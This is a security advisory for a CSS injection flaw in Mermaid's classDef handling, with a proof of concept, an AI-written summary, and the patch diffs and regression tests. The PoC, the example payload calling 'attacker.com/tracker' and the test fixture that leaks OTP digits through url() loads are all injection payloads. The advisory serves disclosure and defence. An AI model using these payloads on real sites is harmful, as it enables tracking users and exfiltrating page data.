VYPR
Moderate severityGHSA Advisory· Published May 11, 2026· Updated May 11, 2026

Mermaid: Improper sanitization of `classDefs` in diagrams leads to CSS injection

CVE-2026-41148

Description

Details

The state diagram and any other diagram type that routes user-controlled style strings through createCssStyles parser for Mermaid v11.14.0 and earlier captures classDef values with an unrestricted regex:

// packages/mermaid/src/diagrams/state/parser/stateDiagram.jison:83
<CLASSDEFID>[^\n]*   { this.popState(); return 'CLASSDEF_STYLEOPTS' }

The value passes unsanitized through addStyleClass() -> createCssStyles() -> style.innerHTML (mermaidAPI.ts:418). A } in the value closes the generated CSS selector, and everything after becomes a new CSS rule on the page.

PoC

stateDiagram-v2 
      classDef x }*{ background-image: url("http://media.giphy.com/media/SggILpMXO7Xt6/giphy.gif")}

Live demo: <https://mermaid.live/edit#pako:eNpFjzFvgzAQhf-KdVNbEcBgMHhtlkqtOnSJKi8ONsYKBmRMlRTx3-skanvTfbp7996t0IxSAYPZC6_2Rmgn7O4rQ00v5nmvWnRG29OKjqI5aTcug9wZK7RiaHH9A4fO-4kliVXSiFibqbvEzWjvnHxo_fI6vR3e6cGXyX2qTcvhcYMItDMSmHeLisAqZ8UVYeUDQhx8p6ziwEIrhTtx4MNVM4nhcxztrywE0h2wVvRzoGWS_z_8rahBKvcckntgmN5OAFvhDIzUNCZZQXCR5nVaZkUEF2BVFpOcEkoxxhUuyRbB980yjStapKHqoKFlhvPtB7BFZEU>

Patches

This has been patched in:

Workarounds

Setting `"securityLevel": "sandbox"` will prevent this, by rendering the mermaid diagram in a sandboxed <iframe>.

Impact

Enables page defacement, user tracking via url() callbacks, and DOM attribute exfiltration via CSS :has() selectors.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Mermaid v11.14.0 and earlier allows CSS injection via unsanitized classDef values in state diagrams, enabling page defacement and data exfiltration.

Root

Cause

The vulnerability stems from an overly permissive regex in the state diagram parser (stateDiagram.jison:83) that captures classDef values without sanitization [3]. The captured value is passed through addStyleClass() and createCssStyles() to style.innerHTML (mermaidAPI.ts:418), allowing an attacker to inject arbitrary CSS by closing the generated CSS selector with a } and appending malicious rules [3]. This affects Mermaid versions up to and including v11.14.0.

Exploitation

An attacker can exploit this by crafting a diagram definition containing a classDef with a payload such as }*{ background-image: url("http://attacker.com/tracker")}. When the diagram is rendered (e.g., via the Mermaid Live Editor or embedded in a web page), the injected CSS executes in the context of the host page [3]. No authentication is required if the attacker can supply the diagram input. The securityLevel configuration option, when set to "sandbox", renders diagrams in a sandboxed <iframe> and prevents this attack [1].

Impact

Successful exploitation enables page defacement, user tracking via url() callbacks that exfiltrate data to attacker-controlled servers, and DOM attribute exfiltration using CSS :has() selectors [3]. This can lead to information disclosure and compromise of user privacy.

Mitigation

The issue has been patched in Mermaid v11.15.0 and v10.9.6 [4]. Users unable to upgrade should set securityLevel to "sandbox" in their Mermaid configuration as a workaround [1].

AI Insight generated on May 18, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
mermaidnpm
>= 11.0.0-alpha.1, < 11.15.011.15.0
mermaidnpm
< 10.9.610.9.6

Affected products

2
  • Mermaid Js/MermaidGHSA2 versions
    <= 10.9.5+ 1 more
    • (no CPE)range: <= 10.9.5
    • (no CPE)range: <=11.14.0

Patches

2
8fead23c5916

fix: prevent unbalanced CSS styles in classDefs

https://github.com/mermaid-js/mermaidAlois KlinkMar 12, 2026via ghsa
7 files changed · +109 13
  • cypress/integration/other/ghsa.spec.js+11 0 modified
    @@ -20,4 +20,15 @@ describe('CSS injections', () => {
           flowchart: { htmlLabels: true },
         });
       });
    +  it('should sanitize CSS in class definitions', () => {
    +    urlSnapshotTest('http://localhost:9000/css-injection.html', {
    +      logLevel: 1,
    +      flowchart: { htmlLabels: false },
    +    });
    +    cy.get('.otp-3').should(
    +      'not.have.css',
    +      'background-image',
    +      'url("https://example.test/3.png")'
    +    );
    +  });
     });
    
  • cypress/platform/css-injection.html+61 0 added
    @@ -0,0 +1,61 @@
    +<!DOCTYPE html>
    +<html>
    +  <head>
    +    <meta charset="utf-8" />
    +    <title>Mermaid Quick Test Page</title>
    +
    +    <style>
    +      .otp {
    +        width: 30px;
    +        height: 30px;
    +        position: relative;
    +      }
    +      .otp-1:before {
    +        content: '1';
    +      }
    +      .otp-2:before {
    +        content: '2';
    +      }
    +      .otp-3:before {
    +        content: '3';
    +      }
    +      .otp-4:before {
    +        content: '4';
    +      }
    +    </style>
    +  </head>
    +
    +  <body>
    +    <section>
    +      <h2>Test CSS Injection</h2>
    +
    +      <h3>Here is some secret info:</h3>
    +
    +      <p>Your OTP is:</p>
    +
    +      <!-- Contrived example, but could be used on some sites -->
    +      <div style="flex-direction: row; display: flex">
    +        <div class="otp otp-3"></div>
    +        <div class="otp otp-2"></div>
    +        <div class="otp otp-4"></div>
    +      </div>
    +
    +      <p>If the above numbers are red, then we have a working CSS injection.</p>
    +    </section>
    +
    +    <pre class="mermaid">
    +    stateDiagram-v2
    +      classDef x }}body{.otp{border: 1px solid red}.otp{color: red}.otp-1{ background-image: url("https://example.test/1.png")}.otp-2{ background-image: url("https://example.test/2.png")}.otp-3{ background-image: url("https://example.test/3.png")}.otp-4{ background-image: url("https://example.test/4.png")}.otp-5{ background-image: url("https://example.test/5.png")}}
    +      [*] --> A
    +    </pre>
    +
    +    <script type="module">
    +      import mermaid from './mermaid.esm.mjs';
    +      mermaid.initialize({ startOnLoad: false, logLevel: 0 });
    +      await mermaid.run();
    +      if (window.Cypress) {
    +        window.rendered = true;
    +      }
    +    </script>
    +  </body>
    +</html>
    
  • docs/config/setup/interfaces/mermaidAPI.ParseOptions.md+1 1 modified
    @@ -16,4 +16,4 @@
     
     #### Defined in
     
    -[mermaidAPI.ts:60](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L60)
    +[mermaidAPI.ts:61](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L61)
    
  • docs/config/setup/interfaces/mermaidAPI.RenderResult.md+2 2 modified
    @@ -39,7 +39,7 @@ bindFunctions?.(div); // To call bindFunctions only if it's present.
     
     #### Defined in
     
    -[mermaidAPI.ts:80](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L80)
    +[mermaidAPI.ts:81](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L81)
     
     ---
     
    @@ -51,4 +51,4 @@ The svg code for the rendered graph.
     
     #### Defined in
     
    -[mermaidAPI.ts:70](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L70)
    +[mermaidAPI.ts:71](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L71)
    
  • docs/config/setup/modules/mermaidAPI.md+9 9 modified
    @@ -25,7 +25,7 @@ Renames and re-exports [mermaidAPI](mermaidAPI.md#mermaidapi)
     
     #### Defined in
     
    -[mermaidAPI.ts:64](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L64)
    +[mermaidAPI.ts:65](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L65)
     
     ## Variables
     
    @@ -96,7 +96,7 @@ mermaid.initialize(config);
     
     #### Defined in
     
    -[mermaidAPI.ts:608](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L608)
    +[mermaidAPI.ts:610](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L610)
     
     ## Functions
     
    @@ -127,7 +127,7 @@ Return the last node appended
     
     #### Defined in
     
    -[mermaidAPI.ts:263](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L263)
    +[mermaidAPI.ts:265](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L265)
     
     ---
     
    @@ -153,7 +153,7 @@ the cleaned up svgCode
     
     #### Defined in
     
    -[mermaidAPI.ts:209](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L209)
    +[mermaidAPI.ts:211](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L211)
     
     ---
     
    @@ -178,7 +178,7 @@ the string with all the user styles
     
     #### Defined in
     
    -[mermaidAPI.ts:139](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L139)
    +[mermaidAPI.ts:141](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L141)
     
     ---
     
    @@ -201,7 +201,7 @@ the string with all the user styles
     
     #### Defined in
     
    -[mermaidAPI.ts:186](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L186)
    +[mermaidAPI.ts:188](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L188)
     
     ---
     
    @@ -228,7 +228,7 @@ with an enclosing block that has each of the cssClasses followed by !important;
     
     #### Defined in
     
    -[mermaidAPI.ts:124](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L124)
    +[mermaidAPI.ts:125](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L125)
     
     ---
     
    @@ -254,7 +254,7 @@ Put the svgCode into an iFrame. Return the iFrame code
     
     #### Defined in
     
    -[mermaidAPI.ts:240](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L240)
    +[mermaidAPI.ts:242](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L242)
     
     ---
     
    @@ -279,4 +279,4 @@ Remove any existing elements from the given document
     
     #### Defined in
     
    -[mermaidAPI.ts:313](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L313)
    +[mermaidAPI.ts:315](https://github.com/mermaid-js/mermaid/blob/master/packages/mermaid/src/mermaidAPI.ts#L315)
    
  • packages/mermaid/src/mermaidAPI.spec.ts+22 0 modified
    @@ -467,6 +467,28 @@ describe('mermaidAPI', () => {
           expect(serialize).toHaveBeenCalled();
           expect(result).toEqual('someId .edge-pattern-dashed{stroke-dasharray:3;}');
         });
    +
    +    it('should sanitize CSS to avoid unbalanced braces', () => {
    +      const result = createUserStyles(
    +        mockConfig,
    +        'someDiagram',
    +        Object.fromEntries(
    +          Object.entries({
    +            classDef1: {
    +              styles: ['}*{ background-image: url("https://example.test")}'],
    +              textStyles: [],
    +            },
    +            classDef2: {
    +              styles: ['color: purple;'],
    +            },
    +          }).map(([id, value]) => [id, { ...value, id }])
    +        ),
    +        'someId'
    +      );
    +      expect(result).toEqual(
    +        'someId .edge-pattern-dashed{stroke-dasharray:3;}someId .classDef2>*{color:purple;}someId .classDef2 span{color:purple;}'
    +      );
    +    });
       });
     
       describe('removeExistingElements', () => {
    
  • packages/mermaid/src/mermaidAPI.ts+3 1 modified
    @@ -31,6 +31,7 @@ import { setA11yDiagramInfo, addSVGa11yTitleDescription } from './accessibility.
     import type { DiagramMetadata, DiagramStyleClassDef } from './diagram-api/types.js';
     import { preprocessDiagram } from './preprocess.js';
     import { decodeEntities } from './utils.js';
    +import { sanitizeCss } from './utils/sanitizeDirective.js';
     
     const MAX_TEXTLENGTH = 50_000;
     const MAX_TEXTLENGTH_EXCEEDED_MSG =
    @@ -126,7 +127,8 @@ export const cssImportantStyles = (
       element: string,
       cssClasses: string[] = []
     ): string => {
    -  return `\n.${cssClass} ${element} { ${cssClasses.join(' !important; ')} !important; }`;
    +  const declarationBlock = sanitizeCss(`{ ${cssClasses.join(' !important; ')} !important; }`);
    +  return `\n.${cssClass} ${element} ${declarationBlock}`;
     };
     
     /**
    
e9b0f34d8d82

fix: prevent unbalanced CSS styles in classDefs

https://github.com/mermaid-js/mermaidAlois KlinkMar 12, 2026via ghsa
5 files changed · +102 1
  • .changeset/brave-rooms-rest.md+5 0 added
    @@ -0,0 +1,5 @@
    +---
    +'mermaid': patch
    +---
    +
    +fix: prevent unbalanced CSS styles in classDefs
    
  • cypress/integration/other/ghsa.spec.js+11 0 modified
    @@ -20,4 +20,15 @@ describe('CSS injections', () => {
           flowchart: { htmlLabels: true },
         });
       });
    +  it('should sanitize CSS in class definitions', () => {
    +    urlSnapshotTest('/css-injection.html', {
    +      logLevel: 1,
    +      flowchart: { htmlLabels: false },
    +    });
    +    cy.get('.otp-3').should(
    +      'not.have.css',
    +      'background-image',
    +      'url("https://example.test/3.png")'
    +    );
    +  });
     });
    
  • cypress/platform/css-injection.html+61 0 added
    @@ -0,0 +1,61 @@
    +<!doctype html>
    +<html>
    +  <head>
    +    <meta charset="utf-8" />
    +    <title>Mermaid Quick Test Page</title>
    +
    +    <style>
    +      .otp {
    +        width: 30px;
    +        height: 30px;
    +        position: relative;
    +      }
    +      .otp-1:before {
    +        content: '1';
    +      }
    +      .otp-2:before {
    +        content: '2';
    +      }
    +      .otp-3:before {
    +        content: '3';
    +      }
    +      .otp-4:before {
    +        content: '4';
    +      }
    +    </style>
    +  </head>
    +
    +  <body>
    +    <section>
    +      <h2>Test CSS Injection</h2>
    +
    +      <h3>Here is some secret info:</h3>
    +
    +      <p>Your OTP is:</p>
    +
    +      <!-- Contrived example, but could be used on some sites -->
    +      <div style="flex-direction: row; display: flex">
    +        <div class="otp otp-3"></div>
    +        <div class="otp otp-2"></div>
    +        <div class="otp otp-4"></div>
    +      </div>
    +
    +      <p>If the above numbers are red, then we have a working CSS injection.</p>
    +    </section>
    +
    +    <pre class="mermaid">
    +    stateDiagram-v2
    +      classDef x }}body{.otp{border: 1px solid red}.otp{color: red}.otp-1{ background-image: url("https://example.test/1.png")}.otp-2{ background-image: url("https://example.test/2.png")}.otp-3{ background-image: url("https://example.test/3.png")}.otp-4{ background-image: url("https://example.test/4.png")}.otp-5{ background-image: url("https://example.test/5.png")}}
    +      [*] --> A
    +    </pre>
    +
    +    <script type="module">
    +      import mermaid from './mermaid.esm.mjs';
    +      mermaid.initialize({ startOnLoad: false, logLevel: 0 });
    +      await mermaid.run();
    +      if (window.Cypress) {
    +        window.rendered = true;
    +      }
    +    </script>
    +  </body>
    +</html>
    
  • packages/mermaid/src/mermaidAPI.spec.ts+22 0 modified
    @@ -427,6 +427,28 @@ describe('mermaidAPI', () => {
           expect(serialize).toHaveBeenCalled();
           expect(result).toEqual('someId .edge-pattern-dashed{stroke-dasharray:3;}');
         });
    +
    +    it('should sanitize CSS to avoid unbalanced braces', () => {
    +      const result = createUserStyles(
    +        mockConfig,
    +        'someDiagram',
    +        new Map(
    +          Object.entries({
    +            classDef1: {
    +              styles: ['}*{ background-image: url("https://example.test")}'],
    +              textStyles: [],
    +            },
    +            classDef2: {
    +              styles: ['color: purple;'],
    +            },
    +          }).map(([id, value]) => [id, { ...value, id }])
    +        ),
    +        'someId'
    +      );
    +      expect(result).toEqual(
    +        'someId .edge-pattern-dashed{stroke-dasharray:3;}someId .classDef2>*{color:purple;}someId .classDef2 span{color:purple;}'
    +      );
    +    });
       });
     
       describe('removeExistingElements', () => {
    
  • packages/mermaid/src/mermaidAPI.ts+3 1 modified
    @@ -25,6 +25,7 @@ import theme from './themes/index.js';
     import type { D3Element, ParseOptions, ParseResult, RenderResult } from './types.js';
     import { decodeEntities } from './utils.js';
     import { toBase64 } from './utils/base64.js';
    +import { sanitizeCss } from './utils/sanitizeDirective.js';
     
     const MAX_TEXTLENGTH = 50_000;
     const MAX_TEXTLENGTH_EXCEEDED_MSG =
    @@ -96,7 +97,8 @@ export const cssImportantStyles = (
       element: string,
       cssClasses: string[] = []
     ): string => {
    -  return `\n.${cssClass} ${element} { ${cssClasses.join(' !important; ')} !important; }`;
    +  const declarationBlock = sanitizeCss(`{ ${cssClasses.join(' !important; ')} !important; }`);
    +  return `\n.${cssClass} ${element} ${declarationBlock}`;
     };
     
     /**
    

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

7

News mentions

0

No linked articles in our index yet.